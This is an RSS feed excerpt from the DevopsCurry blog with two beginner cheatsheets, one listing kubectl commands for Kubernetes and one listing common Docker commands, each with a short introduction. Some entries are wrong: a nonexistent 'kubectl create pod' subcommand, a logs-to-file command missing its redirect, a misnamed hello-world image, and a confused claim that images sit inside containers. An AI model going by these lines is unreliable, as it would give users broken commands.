The post What is Knative, and why should have a look at it in 2023 ! appeared first on DevopsCurry.]]> https://devopscurry.com/what-is-knative-and-why-should-have-a-look-at-it-in-2023/feed/ 0 DevOps 2021: Kubernetes Cheatsheet for beginners https://devopscurry.com/kubernetes-cheatsheet-for-beginners/?utm_source=rss&utm_medium=rss&utm_campaign=kubernetes-cheatsheet-for-beginners https://devopscurry.com/kubernetes-cheatsheet-for-beginners/?noamp=mobile#respond Mon, 09 Nov 2020 12:15:15 +0000 https://devopscurry.com/?p=8419 Kubernetes also known as K8s, is an open source container orchestrator. An orchestrator is a platform which helps in management, configuration, and deployment of containerized applications. We can group together hosts running Linux containers and Kubernetes can effortlessly manage those clusters. Kubernetes automates essentially every process right from deployment, management and scaling of containerised applications. […]

The post DevOps 2021: Kubernetes Cheatsheet for beginners appeared first on DevopsCurry.]]> Kubernetes also known as K8s, is an open source container orchestrator. An orchestrator is a platform which helps in management, configuration, and deployment of containerized applications.

We can group together hosts running Linux containers and Kubernetes can effortlessly manage those clusters. Kubernetes automates essentially every process right from deployment, management and scaling of containerised applications.

Kubernetes was developed by Google. Google plays a big role in pioneering the Linux container technology. The main advantage of Kubernetes is that it provides a platform to optimize the clusters.

Things you can do with Kubernetes

* Container orchestration
* Automating the whole process hence reduces the error and time.
* Easy management of containers.
* Ideal for optimizing application for cloud based applications.

Now we have pretty much understood what and why is Kubernetes used. Now, let’s look at some of the commonly used terminology in Kubernetes.

Control Plane: Consider it as the starting point of all the assignments and tasks. It is essentially a group of processes that monitors the Kubernetes nodes.
Nodes:  Node is also a machine which performs the tasks given by the control plane.
Pod: It is a group of containers which uses a single node. It is similar to how group of computers share the same network by group of computers. The machines connected to the same pod have the same IP address, hostname.
Kubelet: This is a service which runs on nodes. It takes care of the fact that containers are up and running.
Kubectl: This is a command line interface (CLI) configuration tool for Kubernetes. It communicates through Kubernetes API server. Kubectl facilitates to create, inspect, update, and delete Kubernetes objects.

Here we have a list of Kubernetes commands which comes in handy for any beginner. We have categorized the commands according to the components of Kubernetes architecture.

Cluster Management

kubectl version                                                                       This command is used to display the current version running on the client and server.

kubectl config view                                                              This command is used to display the configuration of the cluster.

kubectl api-resources                                                         This command is used to display the list of the available API resources.

kubectl cluster-info                                                             This command provides the information about the master and services in the cluster.

Deployments

kubectl get deployment                                                     This command is used to get the information about all the deployments.

kubectl describe deployment  <deployment_name>    This command provides the detailed state of deployment.

kubectl edit deployment  <deployment_name>             This command is used to edit and update the definition of one or more deployment on the server.

kubectl create deployment <deployment_name>         This command is used to create a new deployment.

kubectl delete deployment <deployment_name>          This command is used to delete deployments

Nodes

kubectl get node                                                                            This command is used to get the list of one or more nodes.

kubectl delete node <node_name>                                         This command is used to get delete nodes.

kubectl  top node                                                                              This command is used to get usage by CPU/Storage for nodes.

Kubectl get pods –o wide| grep <node_name>                 This command is used to get a list of pods running on a node.

Pods

kubectl get pod                                                                       This command is used to list one or more pods.

kubectl delete pod <pod_name>                                    This command is used to delete a pod.

kubectl describe pod <pod_name>                               This command is used to display the detailed state of pods.

kubectl create pod <pod_name>                                    This command is used to create a pod.

kubectl top pod                                                                       This command is used to get the usage by CPU/storage for pods.

kubectl label pod <pod_name>                                       This command is used to add or update the label of pod.

Replication Controllers

kubectl  get rc                                                                          This command is used to get the list of replication controllers.

kubectl get rc –namespace=”<namespace_name>”     This command is used to get the list of replication controllers by namespace.

Service Accounts

kubectl get serviceaccounts                                                  This command is used to display the detailed state of one or more service accounts
kubectl delete serviceaccount <service_account_name>    This command is used to delete a service account.

Logs

kubectl logs <pod_name>                                                  This command is used to get the logs for a pod.

kubectl logs –since=1h <pod_name>                            This command is used to get the logs for the last hour for a pod

kubectl logs –tail=20 <pod_name>                               This command is used to get the most recent 20 lines of logs

kubectl logs -f <pod_name>                                              This command is used to print the logs for a pod and follow new logs

kubectl logs -c <container_name> <pod_name>     This command is used to print the logs for a container in a pod

kubectl logs <pod_name> pod.log                                  This command is used to get the output of the logs for a pod into a file named ‘pod.log’

kubectl logs –previous <pod_name>                            This command is used to view the logs for a previously failed pod.

kubetail <pod_prefix> -s 5m                                            This command is used to include the most recent 5 minutes of logs

Events

kubectl get events                                                                  This command is used to list recent events for all resources in the system

kubectl get events –field-selector type=Warning     This command is used to list Warnings only

kubectl get events –field-selector involvedObject.kind!=Pod      This command is used to list events but exclude Pod events

Manifest Files

kubectl apply -f manifest_file.yaml                                This command is used to apply a configuration to an object by filename.

kubectl create -f manifest_file.yaml                                This command is used to create objects.

kubectl create -f ./dir                                                            This command is used to create objects in all manifest files in a directory.

kubectl create -f ‘url’                                                             This command is used to create objects from a URL.

kubectl delete -f manifest_file.yaml                               This command is used to delete an object.

 

So in case you are a beginner and trying to learn Kubernetes, these kubectl or (kube-kutl) as we call them will definitely come handy for you during your initial phases. We will also share our next series of Kubernetes cheatsheet for intermediate & advanced level of users.

The post DevOps 2021: Kubernetes Cheatsheet for beginners appeared first on DevopsCurry.]]> https://devopscurry.com/kubernetes-cheatsheet-for-beginners/feed/ 0 Docker Cheatsheet for Beginners https://devopscurry.com/docker-cheatsheet-for-beginners/?utm_source=rss&utm_medium=rss&utm_campaign=docker-cheatsheet-for-beginners https://devopscurry.com/docker-cheatsheet-for-beginners/?noamp=mobile#respond Fri, 06 Nov 2020 14:20:16 +0000 https://devopscurry.com/?p=8393 Docker CheatSheet for Beginners Imagine you are working on a critical project, it’s almost complete and you ask your manager to have a look at the status. He goes through the project and a few days later come up to you asking to accommodate some last minute changes and updates. This request itself sounds like […]

The post Docker Cheatsheet for Beginners appeared first on DevopsCurry.]]> Docker CheatSheet for Beginners

Imagine you are working on a critical project, it’s almost complete and you ask your manager to have a look at the status. He goes through the project and a few days later come up to you asking to accommodate some last minute changes and updates. This request itself sounds like a nightmare for any software developer and can give sleepless nights to many. Now you are thinking of all the components you need to install and update like the OS, dependencies, version you used previously on the server, several packages that are required, etc. The process is quite tedious and requires keeping several factors to keep in mind.

To help you overcome such situations, Docker comes to your rescue.

What is Docker?

Docker is a platform that helps in building a container for the applications. A container packages the code in such a way that all the application dependencies are easily managed and are taken care of. This helps in running the applications on any machine irrespective of the server infrastructure. We can run the same code on a Linux server or a Windows without much hassle.

How does Docker works?

In the above scenario to make our job easy, we can create a Docker container in the machine. We can have many Docker images inside a container; the image contains several parameters related to set java path, Ubuntu, apache version, etc. These parameters might be specific for an application but we can create multiple docker images inside a container. There might be another application that requires a  similar configuration but with slight differences. In such cases docker comes very handily we can create the image from any existing docker images that can slightly modify some parameters as per requirement.

Setting up Docker locally on the machine

Download Docker from here once the setup is done, follow these steps. Like discussed above Docker creates images which can be reused later as and when required. ‘libcontainer’ is used to create docker container.

  • To create a Docker container, download the ‘hello world’ image, use the command–

$ docker run hello world

  • For checking the number of images on your system, use this command –

$ docker images

These are some of the basic commands to setup the docker container. Now in this post we are trying to share a list of docker commands which may come in handy for beginners.

List of Common Docker commands

$ docker run                                          This command is used to run a command in a new container.

$ docker start                                        This command is used to start one or more stopped containers.

$ docker stop                                         This command is used to stop one or more running containers.

$ docker build                                       This command is used to build an image form a Docker file.

$ docker push                                        This command is used push an image or a repository to a registry.

$ docker pull                                          This command is used pull an image or a repository from a registry.

$ docker export                                     This command is used export a container’s file system as a tar archive

$ docker exec                                         This command is used  to run a command in a run-time container

$ docker search                                    This command is used to search  the Docker Hub for images

$ docker attach                                     This command is used attach  to a running container

$ docker commit                                 This command is used create  a new image from a container’s changes

$ docker –version                               This command is used to extract docker version information.

$ docker ps                                             This command is used to fetch all the running containers. 

$ docker kill                                           This command forcefully terminates the container execution.

$ docker cp                                             This command is used to copy files/folders between a container and the local machine.

$ docker  events                                    This command is used to fetch the real time events from the server.

$ docker plugin                                    This command is used to manage the Plugins.

$ docker rename                                 This command is used to rename a container.

$ docker container                             This command is used to manage the containers.

$ docker history.                                This command is used to show the history of an image.

$ docker restart                                  This command is used to restart one or more containers.

$ docker rm                                            This command is used to remove one or more docker containers.

$ docker rmi                                          This command is used to remove one or more images.

$ docker login                                       This command is used to log in to a Docker registry.

$ docker logout                                    This command is used to  log out from a Docker registry.

$ docker logs                                          This command is used to  fetch the logs of a container.

$ docker config                                     This command is used to manage Docker configuration.

The post Docker Cheatsheet for Beginners appeared first on DevopsCurry.]]> https://devopscurry.com/docker-cheatsheet-for-beginners/feed/ 0